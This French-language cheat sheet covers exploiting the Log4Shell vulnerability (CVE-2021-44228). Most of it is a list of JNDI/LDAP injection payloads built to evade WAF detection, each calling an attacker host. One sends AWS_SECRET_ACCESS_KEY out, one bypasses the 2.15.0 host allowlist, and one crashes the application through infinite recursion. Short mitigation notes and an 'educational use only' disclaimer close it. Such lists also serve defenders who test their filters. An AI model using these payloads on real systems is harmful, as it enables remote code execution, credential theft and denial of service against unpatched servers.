
🐱💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - astuces de bypass WAF
CVE-2021-44228 fonctionne sur :
log4j: 2.0 <= Apache log4j <= 2.14.1
Version Java déjà corrigée : 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender a commencé à supprimer les fichiers .java qui contiennent jndi:ldap:....
Script d'attaque simple (RCE possible) :
${jndi:ldap://somesitehackerofhell.com/z}
WAF ou développeurs ont commencé à bloquer les expressions :
ldap:jndi:pour sécuriser les applications.
Cependant, l'attaquant peut le contourner en utilisant l'une de ces techniques :
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
D'après la documentation d'Apache Log4j 2 : ${env:ENV_NAME:-default_value}
S'il n'y a pas de variable d'environnement système ENV_NAME, utilisez le texte après :-
L'attaquant peut utiliser n'importe quel nom à la place de ENV_NAME, mais il ne doit pas exister.
Ou le hacker peut lire une variable d'environnement, exemple pour AWS_SECRET_ACCESS_KEY :
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Consultez plus de secrets dans 🦄🔒 Awesome list of secrets in environment variables 🖥️
Vous pouvez vérifier vos variables d'environnement système :
dir env:printenv ou env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup Le LowerLookup convertit l'argument passé en minuscules. Vraisemblablement, la valeur sera le résultat d'une recherche imbriquée.
${lower:<text>}
Upper Lookup Le UpperLookup convertit l'argument passé en majuscules. Vraisemblablement, la valeur sera le résultat d'une recherche imbriquée.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı est converti en i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
S'il n'y a pas de propriété système SYS_NAME, utilisez le texte après :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Le formatage de date Java convertit YYYY en 2021, mais il convertit 'YYYY' en YYYY ou 'j' en j.
Remplacez les caractères par :
Vous pouvez en lire plus ici HTML URL Encoding Reference
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
Il ne vérifie pas l'existence du lookup et se contente d'évaluer la valeur par défaut sans problème.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"Séparément, ces clés et valeurs ne représentent pas une attaque. Mais toutes ensemble, elles constituent une attaque, et cette attaque est transparente pour les systèmes de détection en raison de l'analyseur JSON." En savoir plus...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Convertissez certains caractères en unicode.
Convertisseur Unicode en ligne
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Contourne les vérifications allowedLdapHost et allowedClasses dans Log4J 2.15.0. La méthode java.net.URI getHost() renvoie la valeur avant le # comme hôte réel. Mais le résolveur JNDI/LDAP résoudra la chaîne d'hôte complète en tentant de se connecter au serveur LDAP malveillant.
${${::-${::-$${::-j}}}}
Si une substitution de chaîne est tentée pour une raison quelconque sur la chaîne suivante, cela déclenchera une récursion infinie, et l'application plantera.
Créez un fichier pdf spécial pour exploiter CVE-2021-44228

Obtenez un fichier pdf et en savoir plus...
Pour tester une entrée, vous pouvez utiliser :
tl;dr Mettez à jour vers log4j-2.17.1 ou ultérieur.
Atténuation Log4j 1.x : Log4j 1.x n'a pas de Lookups, donc le risque est moindre. Les applications utilisant Log4j 1.x ne sont vulnérables à cette attaque que lorsqu'elles utilisent JNDI dans leur configuration. Un CVE séparé (CVE-2021-4104) a été déposé pour cette vulnérabilité. Pour atténuer : auditez votre configuration de journalisation pour vous assurer qu'elle n'a pas de JMSAppender configuré. Les configurations Log4j 1.x sans JMSAppender ne sont pas impactées par cette vulnérabilité.
Atténuation Log4j 2.x : Mettez en œuvre l'une des techniques d'atténuation ci-dessous.
Notez que seul le fichier JAR log4j-core est impacté par cette vulnérabilité. Les applications utilisant uniquement le fichier JAR log4j-api sans le fichier JAR log4j-core ne sont pas impactées par cette vulnérabilité.

Ce projet ne peut être utilisé qu'à des fins éducatives. L'utilisation de ce logiciel contre des systèmes cibles sans autorisation préalable est illégale, et l'auteur décline toute responsabilité en cas de dommages résultant d'une mauvaise utilisation de ce logiciel.
Je ne suis pas l'auteur de CVE-2021-44228 et de certains contournements.